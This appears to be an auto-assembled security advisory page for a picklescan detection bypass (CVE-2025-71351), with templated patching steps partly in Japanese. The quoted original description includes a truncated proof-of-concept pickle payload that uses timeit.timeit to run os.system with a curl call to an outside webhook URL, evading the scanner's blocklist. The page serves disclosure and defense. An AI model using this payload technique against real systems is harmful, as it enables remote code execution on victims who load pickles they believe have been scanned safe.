Vulnerability in picklescan (CVE-2025-71351)
Summary
Vulnerability in picklescan (CVE-2025-71351). Risk of unauthorized operations or information disclosure. Mitigation: upgrade to 0.0.25 or later.
Original description
The description as published by the source.
Summary
Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file.
Details
Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like timeit.timeit(). And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to timeit.timeit() function from timeit library in reduce method
Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
- The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()
import pickle
import timeit
class Payload(object):
def __reduce__(self):
return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")')
def create_payload():
with open('payload.pickle', 'wb') a…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2025-71351 has been found in picklescan.
Risk of unauthorized operations or information disclosure.
What to do: upgrade picklescan to 0.0.25 or later.
If unsure, ask your IT team or search "picklescan CVE-2025-71351" on the vendor's site.
CVE-2025-71351 (picklescan) — CWE-184
Patched: 0.0.25 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-184) exists in picklescan.
Check the vendor advisory for the affected versions of picklescan.
Severity: ?. Risk of unauthorized operations or information disclosure.
Update to 0.0.25.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'picklescan' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'picklescan' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
picklescanを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade picklescan to 0.0.25ステージング環境で 0.0.25 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- advisory github.com
- package github.com
- package pypi.org
- web github.com
- web vulncheck.com
- web github.com
- web github.com
- web github.com